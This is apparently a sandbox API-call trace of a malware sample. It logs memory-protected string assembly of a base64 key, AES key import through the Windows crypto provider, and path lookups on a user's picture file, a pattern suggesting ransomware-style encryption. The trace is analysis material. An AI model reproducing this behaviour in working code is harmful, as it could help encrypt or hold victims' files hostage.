(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.297] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.298] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.298] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.298] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.298] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.298] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.298] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.298] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.299] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.299] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.299] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.299] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.299] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.299] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.299] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.299] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.300] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.300] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.300] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.300] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.300] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.300] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.300] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.300] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.300] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.301] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.301] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.301] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.301] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.301] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.301] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.301] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.301] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.301] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.301] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.302] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.302] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.302] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.302] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.302] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.302] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.302] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.302] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.302] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.303] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.303] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.303] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.303] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.303] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.303] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.303] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.303] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.303] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.304] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.304] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0137.305] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0137.305] CryptImportKey (in: hProv=0x43964e8, pbData=0x69d8a90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84ff8) returned 1 [0137.305] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.305] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.305] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.305] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.305] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.306] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0137.306] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0137.306] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.306] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.306] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.306] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.306] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.306] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.307] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 